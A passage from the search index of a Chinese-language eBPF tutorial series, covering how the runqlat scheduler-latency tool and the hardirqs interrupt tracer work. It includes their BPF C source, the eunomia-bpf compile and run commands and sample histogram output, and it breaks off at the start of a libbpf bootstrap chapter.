如何用 eBPF 追踪一个内核功能或函数？有很多种方法，举出对应的代码； 有哪些方案能通过用户态和内核态通信？如何从用户态向内核态传送信息？如何从内核态向用户态传递信息？举出代码示例； 编写一个你自己的 eBPF 程序，实现一个功能； eBPF 程序的整个生命周期里面，分别在用户态和内核态做了哪些事情？","breadcrumbs":"介绍 eBPF 的基本概念、常见的开发工具 » 了解如何开发 eBPF 程序（10-15h）","id":"5","title":"了解如何开发 eBPF 程序（10-15h）"},"50":{"body":"eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具。它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。 runqlat 是一个 eBPF 工具，用于分析 Linux 系统的调度性能。具体来说，runqlat 用于测量一个任务在被调度到 CPU 上运行之前在运行队列中等待的时间。这些信息对于识别性能瓶颈和提高 Linux 内核调度算法的整体效率非常有用。","breadcrumbs":"一个 Linux 内核 BPF 程序，通过柱状图来总结调度程序运行队列延迟，显示任务等待运行在 CPU 上的时间长度 » eBPF 入门开发实践教程九：捕获进程调度延迟，以直方图方式记录","id":"50","title":"eBPF 入门开发实践教程九：捕获进程调度延迟，以直方图方式记录"},"51":{"body":"本教程是 eBPF 入门开发实践系列的第九部分，主题是 \"捕获进程调度延迟\"。在此，我们将介绍一个名为 runqlat 的程序，其作用是以直方图的形式记录进程调度延迟。 Linux 操作系统使用进程来执行所有的系统和用户任务。这些进程可能被阻塞、杀死、运行，或者正在等待运行。处在后两种状态的进程数量决定了 CPU 运行队列的长度。 进程有几种可能的状态，如： 可运行或正在运行 可中断睡眠 不可中断睡眠 停止 僵尸进程 等待资源或其他函数信号的进程会处在可中断或不可中断的睡眠状态：进程被置入睡眠状态，直到它需要的资源变得可用。然后，根据睡眠的类型，进程可以转移到可运行状态，或者保持睡眠。 即使进程拥有它需要的所有资源，它也不会立即开始运行。它会转移到可运行状态，与其他处在相同状态的进程一起排队。CPU可以在接下来的几秒钟或毫秒内执行这些进程。调度器为 CPU 排列进程，并决定下一个要执行的进程。 根据系统的硬件配置，这个可运行队列（称为 CPU 运行队列）的长度可以短也可以长。短的运行队列长度表示 CPU 没有被充分利用。另一方面，如果运行队列长，那么可能意味着 CPU 不够强大，无法执行所有的进程，或者 CPU 的核心数量不足。在理想的 CPU 利用率下，运行队列的长度将等于系统中的核心数量。 进程调度延迟，也被称为 \"run queue latency\"，是衡量线程从变得可运行（例如，接收到中断，促使其处理更多工作）到实际在 CPU 上运行的时间。在 CPU 饱和的情况下，你可以想象线程必须等待其轮次。但在其他奇特的场景中，这也可能发生，而且在某些情况下，它可以通过调优减少，从而提高整个系统的性能。 我们将通过一个示例来阐述如何使用 runqlat 工具。这是一个负载非常重的系统： # runqlat\nTracing run queue latency... Hit Ctrl-C to end.\n^C usecs : count distribution 0 -> 1 : 233 |*********** | 2 -> 3 : 742 |************************************ | 4 -> 7 : 203 |********** | 8 -> 15 : 173 |******** | 16 -> 31 : 24 |* | 32 -> 63 : 0 | | 64 -> 127 : 30 |* | 128 -> 255 : 6 | | 256 -> 511 : 3 | | 512 -> 1023 : 5 | | 1024 -> 2047 : 27 |* | 2048 -> 4095 : 30 |* | 4096 -> 8191 : 20 | | 8192 -> 16383 : 29 |* | 16384 -> 32767 : 809 |****************************************| 32768 -> 65535 : 64 |*** | 在这个输出中，我们看到了一个双模分布，一个模在0到15微秒之间，另一个模在16到65毫秒之间。这些模式在分布（它仅仅是 \"count\" 列的视觉表示）中显示为尖峰。例如，读取一行：在追踪过程中，809个事件落入了16384到32767微秒的范围（16到32毫秒）。 在后续的教程中，我们将深入探讨如何利用 eBPF 对此类指标进行深度跟踪和分析，以更好地理解和优化系统性能。同时，我们也将学习更多关于 Linux 内核调度器、中断处理和 CPU 饱 runqlat 的实现利用了 eBPF 程序，它通过内核跟踪点和函数探针来测量进程在运行队列中的时间。当进程被排队时，trace_enqueue 函数会在一个映射中记录时间戳。当进程被调度到 CPU 上运行时，handle_switch 函数会检索时间戳，并计算当前时间与排队时间之间的时间差。这个差值（或 delta）被用于更新进程的直方图，该直方图记录运行队列延迟的分布。该直方图可用于分析 Linux 内核的调度性能。","breadcrumbs":"一个 Linux 内核 BPF 程序，通过柱状图来总结调度程序运行队列延迟，显示任务等待运行在 CPU 上的时间长度 » runqlat 原理","id":"51","title":"runqlat 原理"},"52":{"body":"","breadcrumbs":"一个 Linux 内核 BPF 程序，通过柱状图来总结调度程序运行队列延迟，显示任务等待运行在 CPU 上的时间长度 » runqlat 代码实现","id":"52","title":"runqlat 代码实现"},"53":{"body":"首先我们需要编写一个源代码文件 runqlat.bpf.c: // SPDX-License-Identifier: GPL-2.0\n// Copyright (c) 2020 Wenbo Zhang\n#include <vmlinux.h>\n#include <bpf/bpf_helpers.h>\n#include <bpf/bpf_core_read.h>\n#include <bpf/bpf_tracing.h>\n#include \"runqlat.h\"\n#include \"bits.bpf.h\"\n#include \"maps.bpf.h\"\n#include \"core_fixes.bpf.h\" #define MAX_ENTRIES 10240\n#define TASK_RUNNING 0 const volatile bool filter_cg = false;\nconst volatile bool targ_per_process = false;\nconst volatile bool targ_per_thread = false;\nconst volatile bool targ_per_pidns = false;\nconst volatile bool targ_ms = false;\nconst volatile pid_t targ_tgid = 0; struct { __uint(type, BPF_MAP_TYPE_CGROUP_ARRAY); __type(key, u32); __type(value, u32); __uint(max_entries, 1);\n} cgroup_map SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, MAX_ENTRIES); __type(key, u32); __type(value, u64);\n} start SEC(\".maps\"); static struct hist zero; /// @sample {\"interval\": 1000, \"type\" : \"log2_hist\"}\nstruct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, MAX_ENTRIES); __type(key, u32); __type(value, struct hist);\n} hists SEC(\".maps\"); static int trace_enqueue(u32 tgid, u32 pid)\n{ u64 ts; if (!pid) return 0; if (targ_tgid && targ_tgid != tgid) return 0; ts = bpf_ktime_get_ns(); bpf_map_update_elem(&start, &pid, &ts, BPF_ANY); return 0;\n} static unsigned int pid_namespace(struct task_struct *task)\n{ struct pid *pid; unsigned int level; struct upid upid; unsigned int inum; /* get the pid namespace by following task_active_pid_ns(), * pid->numbers[pid->level].ns */ pid = BPF_CORE_READ(task, thread_pid); level = BPF_CORE_READ(pid, level); bpf_core_read(&upid, sizeof(upid), &pid->numbers[level]); inum = BPF_CORE_READ(upid.ns, ns.inum); return inum;\n} static int handle_switch(bool preempt, struct task_struct *prev, struct task_struct *next)\n{ struct hist *histp; u64 *tsp, slot; u32 pid, hkey; s64 delta; if (filter_cg && !bpf_current_task_under_cgroup(&cgroup_map, 0)) return 0; if (get_task_state(prev) == TASK_RUNNING) trace_enqueue(BPF_CORE_READ(prev, tgid), BPF_CORE_READ(prev, pid)); pid = BPF_CORE_READ(next, pid); tsp = bpf_map_lookup_elem(&start, &pid); if (!tsp) return 0; delta = bpf_ktime_get_ns() - *tsp; if (delta < 0) goto cleanup; if (targ_per_process) hkey = BPF_CORE_READ(next, tgid); else if (targ_per_thread) hkey = pid; else if (targ_per_pidns) hkey = pid_namespace(next); else hkey = -1; histp = bpf_map_lookup_or_try_init(&hists, &hkey, &zero); if (!histp) goto cleanup; if (!histp->comm[0]) bpf_probe_read_kernel_str(&histp->comm, sizeof(histp->comm), next->comm); if (targ_ms) delta /= 1000000U; else delta /= 1000U; slot = log2l(delta); if (slot >= MAX_SLOTS) slot = MAX_SLOTS - 1; __sync_fetch_and_add(&histp->slots[slot], 1); cleanup: bpf_map_delete_elem(&start, &pid); return 0;\n} SEC(\"raw_tp/sched_wakeup\")\nint BPF_PROG(handle_sched_wakeup, struct task_struct *p)\n{ if (filter_cg && !bpf_current_task_under_cgroup(&cgroup_map, 0)) return 0; return trace_enqueue(BPF_CORE_READ(p, tgid), BPF_CORE_READ(p, pid));\n} SEC(\"raw_tp/sched_wakeup_new\")\nint BPF_PROG(handle_sched_wakeup_new, struct task_struct *p)\n{ if (filter_cg && !bpf_current_task_under_cgroup(&cgroup_map, 0)) return 0; return trace_enqueue(BPF_CORE_READ(p, tgid), BPF_CORE_READ(p, pid));\n} SEC(\"raw_tp/sched_switch\")\nint BPF_PROG(handle_sched_switch, bool preempt, struct task_struct *prev, struct task_struct *next)\n{ return handle_switch(preempt, prev, next);\n} char LICENSE[] SEC(\"license\") = \"GPL\"; 这其中定义了一些常量和全局变量，用于过滤对应的追踪目标： #define MAX_ENTRIES 10240\n#define TASK_RUNNING 0 const volatile bool filter_cg = false;\nconst volatile bool targ_per_process = false;\nconst volatile bool targ_per_thread = false;\nconst volatile bool targ_per_pidns = false;\nconst volatile bool targ_ms = false;\nconst volatile pid_t targ_tgid = 0; 这些变量包括最大映射项数量、任务状态、过滤选项和目标选项。这些选项可以通过用户空间程序设置，以定制 eBPF 程序的行为。 接下来，定义了一些 eBPF 映射： struct { __uint(type, BPF_MAP_TYPE_CGROUP_ARRAY); __type(key, u32); __type(value, u32); __uint(max_entries, 1);\n} cgroup_map SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, MAX_ENTRIES); __type(key, u32); __type(value, u64);\n} start SEC(\".maps\"); static struct hist zero; struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, MAX_ENTRIES); __type(key, u32); __type(value, struct hist);\n} hists SEC(\".maps\"); 这些映射包括： cgroup_map 用于过滤 cgroup； start 用于存储进程入队时的时间戳； hists 用于存储直方图数据，记录进程调度延迟。 接下来是一些辅助函数： trace_enqueue 函数用于在进程入队时记录其时间戳： static int trace_enqueue(u32 tgid, u32 pid)\n{ u64 ts; if (!pid) return 0; if (targ_tgid && targ_tgid != tgid) return 0; ts = bpf_ktime_get_ns(); bpf_map_update_elem(&start, &pid, &ts, BPF_ANY); return 0;\n} pid_namespace 函数用于获取进程所属的 PID namespace： static unsigned int pid_namespace(struct task_struct *task)\n{ struct pid *pid; unsigned int level; struct upid upid; unsigned int inum; /* get the pid namespace by following task_active_pid_ns(), * pid->numbers[pid->level].ns */ pid = BPF_CORE_READ(task, thread_pid); level = BPF_CORE_READ(pid, level); bpf_core_read(&upid, sizeof(upid), &pid->numbers[level]); inum = BPF_CORE_READ(upid.ns, ns.inum); return inum;\n} handle_switch 函数是核心部分，用于处理调度切换事件，计算进程调度延迟并更新直方图数据： static int handle_switch(bool preempt, struct task_struct *prev, struct task_struct *next)\n{ ...\n} 首先，函数根据 filter_cg 的设置判断是否需要过滤 cgroup。然后，如果之前的进程状态为 TASK_RUNNING，则调用 trace_enqueue 函数记录进程的入队时间。接着，函数查找下一个进程的入队时间戳，如果找不到，直接返回。计算调度延迟（delta），并根据不同的选项设置（targ_per_process，targ_per_thread，targ_per_pidns），确定直方图映射的键（hkey）。然后查找或初始化直方图映射，更新直方图数据，最后删除进程的入队时间戳记录。 接下来是 eBPF 程序的入口点。程序使用三个入口点来捕获不同的调度事件： handle_sched_wakeup：用于处理 sched_wakeup 事件，当一个进程从睡眠状态被唤醒时触发。 handle_sched_wakeup_new：用于处理 sched_wakeup_new 事件，当一个新创建的进程被唤醒时触发。 handle_sched_switch：用于处理 sched_switch 事件，当调度器选择一个新的进程运行时触发。 这些入口点分别处理不同的调度事件，但都会调用 handle_switch 函数来计算进程的调度延迟并更新直方图数据。 最后，程序包含一个许可证声明： char LICENSE[] SEC(\"license\") = \"GPL\"; 这一声明指定了 eBPF 程序的许可证类型，这里使用的是 \"GPL\"。这对于许多内核功能是必需的，因为它们要求 eBPF 程序遵循 GPL 许可证。","breadcrumbs":"一个 Linux 内核 BPF 程序，通过柱状图来总结调度程序运行队列延迟，显示任务等待运行在 CPU 上的时间长度 » runqlat.bpf.c","id":"53","title":"runqlat.bpf.c"},"54":{"body":"然后我们需要定义一个头文件runqlat.h，用来给用户态处理从内核态上报的事件： /* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */\n#ifndef __RUNQLAT_H\n#define __RUNQLAT_H #define TASK_COMM_LEN 16\n#define MAX_SLOTS 26 struct hist { __u32 slots[MAX_SLOTS]; char comm[TASK_COMM_LEN];\n}; #endif /* __RUNQLAT_H */","breadcrumbs":"一个 Linux 内核 BPF 程序，通过柱状图来总结调度程序运行队列延迟，显示任务等待运行在 CPU 上的时间长度 » runqlat.h","id":"54","title":"runqlat.h"},"55":{"body":"eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链，它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 https://github.com/eunomia-bpf/eunomia-bpf 下载和安装 ecc 编译工具链和 ecli 运行时。我们使用 eunomia-bpf 编译运行这个例子。 Compile: docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest 或者 $ ecc runqlat.bpf.c runqlat.h\nCompiling bpf object...\nGenerating export types...\nPacking ebpf object and config into package.json... Run: $ sudo ecli run examples/bpftools/runqlat/package.json -h\nUsage: runqlat_bpf [--help] [--version] [--verbose] [--filter_cg] [--targ_per_process] [--targ_per_thread] [--targ_per_pidns] [--targ_ms] [--targ_tgid VAR] A simple eBPF program Optional arguments: -h, --help shows help message and exits -v, --version prints version information and exits --verbose prints libbpf debug information --filter_cg set value of bool variable filter_cg --targ_per_process set value of bool variable targ_per_process --targ_per_thread set value of bool variable targ_per_thread --targ_per_pidns set value of bool variable targ_per_pidns --targ_ms set value of bool variable targ_ms --targ_tgid set value of pid_t variable targ_tgid Built with eunomia-bpf framework.\nSee https://github.com/eunomia-bpf/eunomia-bpf for more information. $ sudo ecli run examples/bpftools/runqlat/package.json\nkey = 4294967295\ncomm = rcu_preempt (unit) : count distribution 0 -> 1 : 9 |**** | 2 -> 3 : 6 |** | 4 -> 7 : 12 |***** | 8 -> 15 : 28 |************* | 16 -> 31 : 40 |******************* | 32 -> 63 : 83 |****************************************| 64 -> 127 : 57 |*************************** | 128 -> 255 : 19 |********* | 256 -> 511 : 11 |***** | 512 -> 1023 : 2 | | 1024 -> 2047 : 2 | | 2048 -> 4095 : 0 | | 4096 -> 8191 : 0 | | 8192 -> 16383 : 0 | | 16384 -> 32767 : 1 | | $ sudo ecli run examples/bpftools/runqlat/package.json --targ_per_process\nkey = 3189\ncomm = cpptools (unit) : count distribution 0 -> 1 : 0 | | 2 -> 3 : 0 | | 4 -> 7 : 0 | | 8 -> 15 : 1 |*** | 16 -> 31 : 2 |******* | 32 -> 63 : 11 |****************************************| 64 -> 127 : 8 |***************************** | 128 -> 255 : 3 |********** | 完整源代码请见： https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/9-runqlat 参考资料： https://www.brendangregg.com/blog/2016-10-08/linux-bcc-runqlat.html https://github.com/iovisor/bcc/blob/master/libbpf-tools/runqlat.c","breadcrumbs":"一个 Linux 内核 BPF 程序，通过柱状图来总结调度程序运行队列延迟，显示任务等待运行在 CPU 上的时间长度 » 编译运行","id":"55","title":"编译运行"},"56":{"body":"runqlat 是一个 Linux 内核 BPF 程序，通过柱状图来总结调度程序运行队列延迟，显示任务等待运行在 CPU 上的时间长度。编译这个程序可以使用 ecc 工具，运行时可以使用 ecli 命令。 runqlat 是一种用于监控Linux内核中进程调度延迟的工具。它可以帮助您了解进程在内核中等待执行的时间，并根据这些信息优化进程调度，提高系统的性能。可以在 libbpf-tools 中找到最初的源代码： https://github.com/iovisor/bcc/blob/master/libbpf-tools/runqlat.bpf.c 更多的例子和详细的开发指南，请参考 eunomia-bpf 的官方文档： https://github.com/eunomia-bpf/eunomia-bpf 如果您希望学习更多关于 eBPF 的知识和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 以获取更多示例和完整的教程。","breadcrumbs":"一个 Linux 内核 BPF 程序，通过柱状图来总结调度程序运行队列延迟，显示任务等待运行在 CPU 上的时间长度 » 总结","id":"56","title":"总结"},"57":{"body":"eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具。它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。 本文是 eBPF 入门开发实践教程的第十篇，在 eBPF 中使用 hardirqs 或 softirqs 捕获中断事件。 hardirqs 和 softirqs 是 Linux 内核中两种不同类型的中断处理程序。它们用于处理硬件设备产生的中断请求，以及内核中的异步事件。在 eBPF 中，我们可以使用同名的 eBPF 工具 hardirqs 和 softirqs 来捕获和分析内核中与中断处理相关的信息。","breadcrumbs":"使用 hardirqs 或 softirqs 捕获中断事件 » eBPF 入门开发实践教程十：在 eBPF 中使用 hardirqs 或 softirqs 捕获中断事件","id":"57","title":"eBPF 入门开发实践教程十：在 eBPF 中使用 hardirqs 或 softirqs 捕获中断事件"},"58":{"body":"hardirqs 是硬件中断处理程序。当硬件设备产生一个中断请求时，内核会将该请求映射到一个特定的中断向量，然后执行与之关联的硬件中断处理程序。硬件中断处理程序通常用于处理设备驱动程序中的事件，例如设备数据传输完成或设备错误。 softirqs 是软件中断处理程序。它们是内核中的一种底层异步事件处理机制，用于处理内核中的高优先级任务。softirqs 通常用于处理网络协议栈、磁盘子系统和其他内核组件中的事件。与硬件中断处理程序相比，软件中断处理程序具有更高的灵活性和可配置性。","breadcrumbs":"使用 hardirqs 或 softirqs 捕获中断事件 » hardirqs 和 softirqs 是什么？","id":"58","title":"hardirqs 和 softirqs 是什么？"},"59":{"body":"在 eBPF 中，我们可以通过挂载特定的 kprobe 或者 tracepoint 来捕获和分析 hardirqs 和 softirqs。为了捕获 hardirqs 和 softirqs，需要在相关的内核函数上放置 eBPF 程序。这些函数包括： 对于 hardirqs：irq_handler_entry 和 irq_handler_exit。 对于 softirqs：softirq_entry 和 softirq_exit。 当内核处理 hardirqs 或 softirqs 时，这些 eBPF 程序会被执行，从而收集相关信息，如中断向量、中断处理程序的执行时间等。收集到的信息可以用于分析内核中的性能问题和其他与中断处理相关的问题。 为了捕获 hardirqs 和 softirqs，可以遵循以下步骤： 在 eBPF 程序中定义用于存储中断信息的数据结构和映射。 编写 eBPF 程序，将其挂载到相应的内核函数上，以捕获 hardirqs 或 softirqs。 在 eBPF 程序中，收集中断处理程序的相关信息，并将这些信息存储在映射中。 在用户空间应用程序中，读取映射中的数据以分析和展示中断处理信息。 通过上述方法，我们可以在 eBPF 中使用 hardirqs 和 softirqs 捕获和分析内核中的中断事件，以识别潜在的性能问题和与中断处理相关的问题。","breadcrumbs":"使用 hardirqs 或 softirqs 捕获中断事件 » 实现原理","id":"59","title":"实现原理"},"6":{"body":"原始的eBPF程序编写是非常繁琐和困难的。为了改变这一现状，llvm于2015年推出了可以将由高级语言编写的代码编译为eBPF字节码的功能，同时，eBPF 社区将 bpf() 等原始的系统调用进行了初步地封装，给出了libbpf库。这些库会包含将字节码加载到内核中的函数以及一些其他的关键函数。在Linux的源码包的samples/bpf/目录下，有大量Linux提供的基于libbpf的eBPF样例代码。 一个典型的基于 libbpf 的eBPF程序具有*_kern.c和*_user.c两个文件，*_kern.c中书写在内核中的挂载点以及处理函数，*_user.c中书写用户态代码，完成内核态代码注入以及与用户交互的各种任务。 更为详细的教程可以参考 该视频 然而由于该方法仍然较难理解且入门存在一定的难度，因此现阶段的eBPF程序开发大多基于一些工具，比如： BCC BPFtrace libbpf-bootstrap Go eBPF library 以及还有比较新的工具，例如 eunomia-bpf.","breadcrumbs":"介绍 eBPF 的基本概念、常见的开发工具 » 3. 如何使用eBPF编程","id":"6","title":"3. 如何使用eBPF编程"},"60":{"body":"hardirqs 程序的主要目的是获取中断处理程序的名称、执行次数和执行时间，并以直方图的形式展示执行时间的分布。让我们一步步分析这段代码。 // SPDX-License-Identifier: GPL-2.0\n// Copyright (c) 2020 Wenbo Zhang\n#include <vmlinux.h>\n#include <bpf/bpf_core_read.h>\n#include <bpf/bpf_helpers.h>\n#include <bpf/bpf_tracing.h>\n#include \"hardirqs.h\"\n#include \"bits.bpf.h\"\n#include \"maps.bpf.h\" #define MAX_ENTRIES 256 const volatile bool filter_cg = false;\nconst volatile bool targ_dist = false;\nconst volatile bool targ_ns = false;\nconst volatile bool do_count = false; struct { __uint(type, BPF_MAP_TYPE_CGROUP_ARRAY); __type(key, u32); __type(value, u32); __uint(max_entries, 1);\n} cgroup_map SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_PERCPU_ARRAY); __uint(max_entries, 1); __type(key, u32); __type(value, u64);\n} start SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, MAX_ENTRIES); __type(key, struct irq_key); __type(value, struct info);\n} infos SEC(\".maps\"); static struct info zero; static int handle_entry(int irq, struct irqaction *action)\n{ if (filter_cg && !bpf_current_task_under_cgroup(&cgroup_map, 0)) return 0; if (do_count) { struct irq_key key = {}; struct info *info; bpf_probe_read_kernel_str(&key.name, sizeof(key.name), BPF_CORE_READ(action, name)); info = bpf_map_lookup_or_try_init(&infos, &key, &zero); if (!info) return 0; info->count += 1; return 0; } else { u64 ts = bpf_ktime_get_ns(); u32 key = 0; if (filter_cg && !bpf_current_task_under_cgroup(&cgroup_map, 0)) return 0; bpf_map_update_elem(&start, &key, &ts, BPF_ANY); return 0; }\n} static int handle_exit(int irq, struct irqaction *action)\n{ struct irq_key ikey = {}; struct info *info; u32 key = 0; u64 delta; u64 *tsp; if (filter_cg && !bpf_current_task_under_cgroup(&cgroup_map, 0)) return 0; tsp = bpf_map_lookup_elem(&start, &key); if (!tsp) return 0; delta = bpf_ktime_get_ns() - *tsp; if (!targ_ns) delta /= 1000U; bpf_probe_read_kernel_str(&ikey.name, sizeof(ikey.name), BPF_CORE_READ(action, name)); info = bpf_map_lookup_or_try_init(&infos, &ikey, &zero); if (!info) return 0; if (!targ_dist) { info->count += delta; } else { u64 slot; slot = log2(delta); if (slot >= MAX_SLOTS) slot = MAX_SLOTS - 1; info->slots[slot]++; } return 0;\n} SEC(\"tp_btf/irq_handler_entry\")\nint BPF_PROG(irq_handler_entry_btf, int irq, struct irqaction *action)\n{ return handle_entry(irq, action);\n} SEC(\"tp_btf/irq_handler_exit\")\nint BPF_PROG(irq_handler_exit_btf, int irq, struct irqaction *action)\n{ return handle_exit(irq, action);\n} SEC(\"raw_tp/irq_handler_entry\")\nint BPF_PROG(irq_handler_entry, int irq, struct irqaction *action)\n{ return handle_entry(irq, action);\n} SEC(\"raw_tp/irq_handler_exit\")\nint BPF_PROG(irq_handler_exit, int irq, struct irqaction *action)\n{ return handle_exit(irq, action);\n} char LICENSE[] SEC(\"license\") = \"GPL\"; 这段代码是一个 eBPF 程序，用于捕获和分析内核中硬件中断处理程序（hardirqs）的执行信息。程序的主要目的是获取中断处理程序的名称、执行次数和执行时间，并以直方图的形式展示执行时间的分布。让我们一步步分析这段代码。 包含必要的头文件和定义数据结构： #include <vmlinux.h>\n#include <bpf/bpf_core_read.h>\n#include <bpf/bpf_helpers.h>\n#include <bpf/bpf_tracing.h>\n#include \"hardirqs.h\"\n#include \"bits.bpf.h\"\n#include \"maps.bpf.h\" 该程序包含了 eBPF 开发所需的标准头文件，以及用于定义数据结构和映射的自定义头文件。 定义全局变量和映射： #define MAX_ENTRIES 256 const volatile bool filter_cg = false;\nconst volatile bool targ_dist = false;\nconst volatile bool targ_ns = false;\nconst volatile bool do_count = false; ... 该程序定义了一些全局变量，用于配置程序的行为。例如，filter_cg 控制是否过滤 cgroup，targ_dist 控制是否显示执行时间的分布等。此外，程序还定义了三个映射，分别用于存储 cgroup 信息、开始时间戳和中断处理程序的信息。 定义两个辅助函数 handle_entry 和 handle_exit： 这两个函数分别在中断处理程序的入口和出口处被调用。handle_entry 记录开始时间戳或更新中断计数，handle_exit 计算中断处理程序的执行时间，并将结果存储到相应的信息映射中。 定义 eBPF 程序的入口点： SEC(\"tp_btf/irq_handler_entry\")\nint BPF_PROG(irq_handler_entry_btf, int irq, struct irqaction *action)\n{\nreturn handle_entry(irq, action);\n} SEC(\"tp_btf/irq_handler_exit\")\nint BPF_PROG(irq_handler_exit_btf, int irq, struct irqaction *action)\n{\nreturn handle_exit(irq, action);\n} SEC(\"raw_tp/irq_handler_entry\")\nint BPF_PROG(irq_handler_entry, int irq, struct irqaction *action)\n{\nreturn handle_entry(irq, action);\n} SEC(\"raw_tp/irq_handler_exit\")\nint BPF_PROG(irq_handler_exit, int irq, struct irqaction *action)\n{\nreturn handle_exit(irq, action);\n} 这里定义了四个 eBPF 程序入口点，分别用于捕获中断处理程序的入口和出口事件。tp_btf 和 raw_tp 分别代表使用 BPF Type Format（BTF）和原始 tracepoints 捕获事件。这样可以确保程序在不同内核版本上可以移植和运行。 Softirq 代码也类似，这里就不再赘述了。","breadcrumbs":"使用 hardirqs 或 softirqs 捕获中断事件 » hardirqs 代码实现","id":"60","title":"hardirqs 代码实现"},"61":{"body":"eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链，它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 https://github.com/eunomia-bpf/eunomia-bpf 下载和安装 ecc 编译工具链和 ecli 运行时。我们使用 eunomia-bpf 编译运行这个例子。 要编译这个程序，请使用 ecc 工具： $ ecc hardirqs.bpf.c\nCompiling bpf object...\nPacking ebpf object and config into package.json... 然后运行： sudo ecli run ./package.json","breadcrumbs":"使用 hardirqs 或 softirqs 捕获中断事件 » 运行代码","id":"61","title":"运行代码"},"62":{"body":"在本章节（eBPF 入门开发实践教程十：在 eBPF 中使用 hardirqs 或 softirqs 捕获中断事件）中，我们学习了如何使用 eBPF 程序捕获和分析内核中硬件中断处理程序（hardirqs）的执行信息。我们详细讲解了示例代码，包括如何定义数据结构、映射以及 eBPF 程序入口点，以及如何在中断处理程序的入口和出口处调用辅助函数来记录执行信息。 通过学习本章节内容，您应该已经掌握了如何在 eBPF 中使用 hardirqs 或 softirqs 捕获中断事件的方法，以及如何分析这些事件以识别内核中的性能问题和其他与中断处理相关的问题。这些技能对于分析和优化 Linux 内核的性能至关重要。 为了更好地理解和实践 eBPF 编程，我们建议您阅读 eunomia-bpf 的官方文档： https://github.com/eunomia-bpf/eunomia-bpf 。此外，我们还为您提供了完整的教程和源代码，您可以在 https://github.com/eunomia-bpf/bpf-developer-tutorial 中查看和学习。希望本教程能够帮助您顺利入门 eBPF 开发，并为您的进一步学习和实践提供有益的参考。","breadcrumbs":"使用 hardirqs 或 softirqs 捕获中断事件 » 总结","id":"62","title":"总结"},"63":{"body":"eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具。它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。 在本教程中，我们将了解内核态和用户态的 eBPF 程序是如何协同工作的。我们还将学习如何使用原生的 libbpf 开发用户态程序，将 eBPF 应用打包为可执行文件，实现跨内核版本分发。","breadcrumbs":"使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用 » eBPF 入门开发实践教程十一：在 eBPF 中使用 libbpf 开发用户态程序并跟踪 exec() 和 exit() 系统调用","id":"63","title":"eBPF 入门开发实践教程十一：在 eBPF 中使用 libbpf 开发用户态程序并跟踪 exec() 和 exit() 系统调用"},"64":{"body":"libbpf 是一个 C 语言库，伴随内核版本分发，用于辅助 eBPF 程序的加载和运行。它提供了用于与 eBPF 系统交互的一组 C API，使开发者能够更轻松地编写用户态程序来加载和管理 eBPF 程序。这些用户态程序通常用于分析、监控或优化系统性能。 使用 libbpf 库有以下优势： 它简化了 eBPF 程序的加载、更新和运行过程。 它提供了一组易于使用的 API，使开发者能够专注于编写核心逻辑，而不是处理底层细节。 它能够确保与内核中的 eBPF 子系统的兼容性，降低了维护成本。 同时，libbpf 和 BTF（BPF Type Format）都是 eBPF 生态系统的重要组成部分。它们各自在实现跨内核版本兼容方面发挥着关键作用。BTF（BPF Type Format）是一种元数据格式，用于描述 eBPF 程序中的类型信息。BTF 的主要目的是提供一种结构化的方式，以描述内核中的数据结构，以便 eBPF 程序可以更轻松地访问和操作它们。 BTF 在实现跨内核版本兼容方面的关键作用如下： BTF 允许 eBPF 程序访问内核数据结构的详细类型信息，而无需对特定内核版本进行硬编码。这使得 eBPF 程序可以适应不同版本的内核，从而实现跨内核版本兼容。 通过使用 BPF CO-RE（Compile Once, Run Everywhere）技术，eBPF 程序可以利用 BTF 在编译时解析内核数据结构的类型信息，进而生成可以在不同内核版本上运行的 eBPF 程序。 结合 libbpf 和 BTF，eBPF 程序可以在各种不同版本的内核上运行，而无需为每个内核版本单独编译。这极大地提高了 eBPF 生态系统的可移植性和兼容性，降低了开发和维护的难度。","breadcrumbs":"使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用 » libbpf 库，以及为什么需要使用它","id":"64","title":"libbpf 库，以及为什么需要使用它"},"65":{"body":"Bootstrap 是一个使用 libbpf 的完整应用，它利用 eBPF 程序来跟踪内核中的 exec() 系统调用（通过 SEC(\"tp/sched/sched_process_exec\") handle_exec BPF 程序），这主要对应于新进程的创建（不包括 fork() 部分）。此外，它还跟踪进程的 exit() 系统调用（通过 SEC(\"tp/sched/sched_process_exit\") handle_exit BPF 程序），以了解每个进程何时退出。 这两个 BPF 程序共同工作，允许捕获关于新进程的有趣信息，例如二进制文件的文件名，以及测量进程的生命周期，并在进程结束时收集有趣的统计信息，例如退出代码或消耗的资源量等。这是深入了解内核内部并观察事物如何真正运作的良好起点。 Bootstrap 还使用 argp API（libc 的一部分）进行命令行参数解析，使得用户可以通过命令行选项配置应用行为。这种方式提供了灵活性，让用户能够根据实际需求自定义程序行为。虽然这些功能使用 eunomia-bpf 工具也可以实现，但是这里我们使用 libbpf 可以在用户态提供更高的可扩展性，不过也带来了不少额外的复杂度。","breadcrumbs":"使用 bootstrap 开发用户态程序并跟踪 exec() 和 exit() 系统调用 » 什么是 bootstrap","id":"65","title":"什么是 bootstrap"},"66":{"body":"Bootstrap 